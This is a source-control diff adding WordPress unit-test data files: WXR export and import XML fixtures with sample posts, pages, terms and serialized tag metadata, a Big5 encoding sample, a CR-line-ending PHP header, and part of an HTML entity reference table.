+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with UTW Postmeta</title>
+<link>http://test.wordpress.org/postmeta-utw</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta-utw</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>150</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>test</wp:meta_key>
+<wp:meta_value>a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}}</wp:meta_value>
+</wp:postmeta>
+</item>
+</channel>
+</rss>
+
Index: /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.0.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.0.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.0.xml	(revision 33402)
@@ -0,0 +1,282 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log in to that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/3.0.1" created="2010-10-20 14:22"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Export Dataset</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+		<wp:category><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+		<wp:category><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[parent]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[child]]></wp:cat_name></wp:category>
+			<wp:tag><wp:tag_slug>chicken</wp:tag_slug><wp:tag_name><![CDATA[chicken]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>face</wp:tag_slug><wp:tag_name><![CDATA[face]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>news</wp:tag_slug><wp:tag_name><![CDATA[news]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>roar</wp:tag_slug><wp:tag_name><![CDATA[roar]]></wp:tag_name></wp:tag>
+		
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+
+		<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:comment>
+		<wp:comment_id>1</wp:comment_id>
+		<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+		<wp:comment_author_email></wp:comment_author_email>
+		<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+		<wp:comment_author_IP></wp:comment_author_IP>
+		<wp:comment_date>2010-10-20 14:08:20</wp:comment_date>
+		<wp:comment_date_gmt>2010-10-20 14:08:20</wp:comment_date_gmt>
+		<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+		<wp:comment_approved>1</wp:comment_approved>
+		<wp:comment_type></wp:comment_type>
+		<wp:comment_parent>0</wp:comment_parent>
+		<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+			</item>
+		<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Alpha post</title>
+		<link>http://localhost/?p=4</link>
+		<pubDate>Wed, 20 Oct 2010 14:09:37 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[alpha]]></category>
+
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+
+		<category domain="tag"><![CDATA[news]]></category>
+
+		<category domain="tag" nicename="news"><![CDATA[news]]></category>
+
+		<category domain="tag"><![CDATA[roar]]></category>
+
+		<category domain="tag" nicename="roar"><![CDATA[roar]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in roar, news]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2010-10-20 14:09:37</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:09:37</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>alpha-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583778]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child post</title>
+		<link>http://localhost/?p=6</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category domain="tag"><![CDATA[chicken]]></category>
+
+		<category domain="tag" nicename="chicken"><![CDATA[chicken]]></category>
+
+		<category><![CDATA[child]]></category>
+
+		<category domain="category" nicename="child"><![CDATA[child]]></category>
+
+		<category domain="tag"><![CDATA[face]]></category>
+
+		<category domain="tag" nicename="face"><![CDATA[face]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in face, chicken]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:09</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583809]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child page</title>
+		<link>http://localhost/?page_id=8</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:35 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=8</guid>
+		<description></description>
+		<content:encoded><![CDATA[Should have lower ID than parent!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>8</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:35</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:35</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>closed</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>10</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583856]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Parent page</title>
+		<link>http://localhost/?page_id=10</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:44 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=10</guid>
+		<description></description>
+		<content:encoded><![CDATA[woop]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>10</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:44</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:44</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583844]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+	</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.1.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.1.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/valid-wxr-1.1.xml	(revision 33402)
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-17 09:54" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>Export Datasets</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name><wp:tag_description><![CDATA[The Clippable post_tag]]></wp:tag_description></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name><wp:term_description><![CDATA[The bieup post_tax]]></wp:term_description></wp:term>
+
+	<generator>http://wordpress.org/?v=3.1-alpha</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="post_tag" nicename="clippable"><![CDATA[Clippable]]></category>
+		<category domain="post_tax" nicename="bieup"><![CDATA[bieup]]></category>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2010-10-16 20:53:18</wp:comment_date>
+			<wp:comment_date_gmt>2010-10-16 20:53:18</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page. You could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/formatting/big5.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/big5.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/big5.txt	(revision 33402)
@@ -0,0 +1,5 @@
+ª©¥»
+¤ÀÃþ
+Àô¹Ò
+©Ê½è
+­º­¶
Index: /tags/4.1.6/tests/phpunit/data/formatting/cr-line-endings-file-header.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/cr-line-endings-file-header.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/cr-line-endings-file-header.php	(revision 33402)
@@ -0,0 +1,5 @@
+<?php
+/* Some Header: Some header value!
+ * Description: This file is using CR line endings for a testcase.
+ * Author: A Very Old Mac
+ */
Index: /tags/4.1.6/tests/phpunit/data/formatting/entities.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/entities.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/entities.txt	(revision 33402)
@@ -0,0 +1,255 @@
+### Named HTML character entities, their numeric reference 
+### (e.g. for &#[0-9]+; entity form), and their use.
+### From: http://www.w3.org/TR/html401/sgml/entities.html
+###
+nbsp	| 160	### no-break space 
+iexcl	| 161	### inverted exclamation mark 
+cent	| 162	### cent sign 
+pound	| 163	### pound sterling sign 
+curren	| 164	### general currency sign 
+yen	    | 165	### yen sign 
+brvbar	| 166	### broken (vertical) bar 
+sect	| 167	### section sign 
+uml	    | 168	### umlaut (dieresis) 
+copy	| 169	### copyright sign 
+ordf	| 170	### ordinal indicator, feminine 
+laquo	| 171	### angle quotation mark, left 
+not	    | 172	### not sign 
+shy	    | 173	### soft hyphen 
+reg	    | 174	### registered sign 
+macr	| 175	### macron 
+deg	    | 176	### degree sign 
+plusmn	| 177	### plus-or-minus sign 
+sup2	| 178	### superscript two 
+sup3	| 179	### superscript three 
+acute	| 180	### acute accent 
+micro	| 181	### micro sign 
+para	| 182	### pilcrow (paragraph sign) 
+middot	| 183	### middle dot 
+cedil	| 184	### cedilla 
+sup1	| 185	### superscript one 
+ordm	| 186	### ordinal indicator, masculine 
+raquo	| 187	### angle quotation mark, right 
+frac14	| 188	### fraction one-quarter 
+frac12	| 189	### fraction one-half 
+frac34	| 190	### fraction three-quarters 
+iquest	| 191	### inverted question mark 
+Agrave	| 192	### capital A, grave accent 
+Aacute	| 193	### capital A, acute accent 
+Acirc	| 194	### capital A, circumflex accent 
+Atilde	| 195	### capital A, tilde 
+Auml	| 196	### capital A, dieresis or umlaut mark 
+Aring	| 197	### capital A, ring 
+AElig	| 198	### capital AE diphthong (ligature) 
+Ccedil	| 199	### capital C, cedilla 
+Egrave	| 200	### capital E, grave accent 
+Eacute	| 201	### capital E, acute accent 
+Ecirc	| 202	### capital E, circumflex accent 
+Euml	| 203	### capital E, dieresis or umlaut mark 
+Igrave	| 204	### capital I, grave accent 
+Iacute	| 205	### capital I, acute accent 
+Icirc	| 206	### capital I, circumflex accent 
+Iuml	| 207	### capital I, dieresis or umlaut mark 
+ETH	    | 208	### capital Eth, Icelandic 
+Ntilde	| 209	### capital N, tilde 
+Ograve	| 210	### capital O, grave accent 
+Oacute	| 211	### capital O, acute accent 
+Ocirc	| 212	### capital O, circumflex accent 
+Otilde	| 213	### capital O, tilde 
+Ouml	| 214	### capital O, dieresis or umlaut mark 
+times	| 215	### multiply sign 
+Oslash	| 216	### capital O, slash 
+Ugrave	| 217	### capital U, grave accent 
+Uacute	| 218	### capital U, acute accent 
+Ucirc	| 219	### capital U, circumflex accent 
+Uuml	| 220	### capital U, dieresis or umlaut mark 
+Yacute	| 221	### capital Y, acute accent 
+THORN	| 222	### capital THORN, Icelandic 
+szlig	| 223	### small sharp s, German (sz ligature) 
+agrave	| 224	### small a, grave accent 
+aacute	| 225	### small a, acute accent 
+acirc	| 226	### small a, circumflex accent 
+atilde	| 227	### small a, tilde 
+auml	| 228	### small a, dieresis or umlaut mark 
+aring	| 229	### small a, ring 
+aelig	| 230	### small ae diphthong (ligature) 
+ccedil	| 231	### small c, cedilla 
+egrave	| 232	### small e, grave accent 
+eacute	| 233	### small e, acute accent 
+ecirc	| 234	### small e, circumflex accent 
+euml	| 235	### small e, dieresis or umlaut mark 
+igrave	| 236	### small i, grave accent 
+iacute	| 237	### small i, acute accent 
+icirc	| 238	### small i, circumflex accent 
+iuml	| 239	### small i, dieresis or umlaut mark 
+eth	    | 240	### small eth, Icelandic 
+ntilde	| 241	### small n, tilde 
+ograve	| 242	### small o, grave accent 
+oacute	| 243	### small o, acute accent 
+ocirc	| 244	### small o, circumflex accent 
+otilde	| 245	### small o, tilde 
+ouml	| 246	### small o, dieresis or umlaut mark 
+divide	| 247	### divide sign 
+oslash	| 248	### small o, slash 
+ugrave	| 249	### small u, grave accent 
+uacute	| 250	### small u, acute accent 
+ucirc	| 251	### small u, circumflex accent 
+uuml	| 252	### small u, dieresis or umlaut mark 
+yacute	| 253	### small y, acute accent 
+thorn	| 254	### small thorn, Icelandic 
+yuml	| 255	### small y, dieresis or umlaut mark 
+fnof	| 402	### latin small f with hook, =function, =florin, u+0192 ISOtech 
+Alpha	| 913	### greek capital letter alpha,  u+0391 
+Beta	| 914	### greek capital letter beta,  u+0392 
+Gamma	| 915	### greek capital letter gamma,  u+0393 ISOgrk3 
+Delta	| 916	### greek capital letter delta,  u+0394 ISOgrk3 
+Epsilon	| 917	### greek capital letter epsilon,  u+0395 
+Zeta	| 918	### greek capital letter zeta,  u+0396 
+Eta	    | 919	### greek capital letter eta,  u+0397 
+Theta	| 920	### greek capital letter theta,  u+0398 ISOgrk3 
+Iota	| 921	### greek capital letter iota,  u+0399 
+Kappa	| 922	### greek capital letter kappa,  u+039A 
+Lambda	| 923	### greek capital letter lambda,  u+039B ISOgrk3 
+Mu	    | 924	### greek capital letter mu,  u+039C 
+Nu	    | 925	### greek capital letter nu,  u+039D 
+Xi	    | 926	### greek capital letter xi,  u+039E ISOgrk3 
+Omicron	| 927	### greek capital letter omicron,  u+039F 
+Pi	    | 928	### greek capital letter pi,  u+03A0 ISOgrk3 
+Rho	    | 929	### greek capital letter rho,  u+03A1 
+Sigma	| 931	### greek capital letter sigma,  u+03A3 ISOgrk3 
+Tau	    | 932	### greek capital letter tau,  u+03A4 
+Upsilon	| 933	### greek capital letter upsilon,  u+03A5 ISOgrk3 
+Phi	    | 934	### greek capital letter phi,  u+03A6 ISOgrk3 
+Chi	    | 935	### greek capital letter chi,  u+03A7 
+Psi	    | 936	### greek capital letter psi,  u+03A8 ISOgrk3 
+Omega	| 937	### greek capital letter omega,  u+03A9 ISOgrk3 
+alpha	| 945	### greek small letter alpha, u+03B1 ISOgrk3 
+beta	| 946	### greek small letter beta,  u+03B2 ISOgrk3 
+gamma	| 947	### greek small letter gamma,  u+03B3 ISOgrk3 
+delta	| 948	### greek small letter delta,  u+03B4 ISOgrk3 
+epsilon	| 949	### greek small letter epsilon,  u+03B5 ISOgrk3 
+zeta	| 950	### greek small letter zeta,  u+03B6 ISOgrk3 
+eta	    | 951	### greek small letter eta,  u+03B7 ISOgrk3 
+theta	| 952	### greek small letter theta,  u+03B8 ISOgrk3 
+iota	| 953	### greek small letter iota,  u+03B9 ISOgrk3 
+kappa	| 954	### greek small letter kappa,  u+03BA ISOgrk3 
+lambda	| 955	### greek small letter lambda,  u+03BB ISOgrk3 
+mu	    | 956	### greek small letter mu,  u+03BC ISOgrk3 
+nu	    | 957	### greek small letter nu,  u+03BD ISOgrk3 
+xi	    | 958	### greek small letter xi,  u+03BE ISOgrk3 
+omicron	| 959	### greek small letter omicron,  u+03BF NEW 
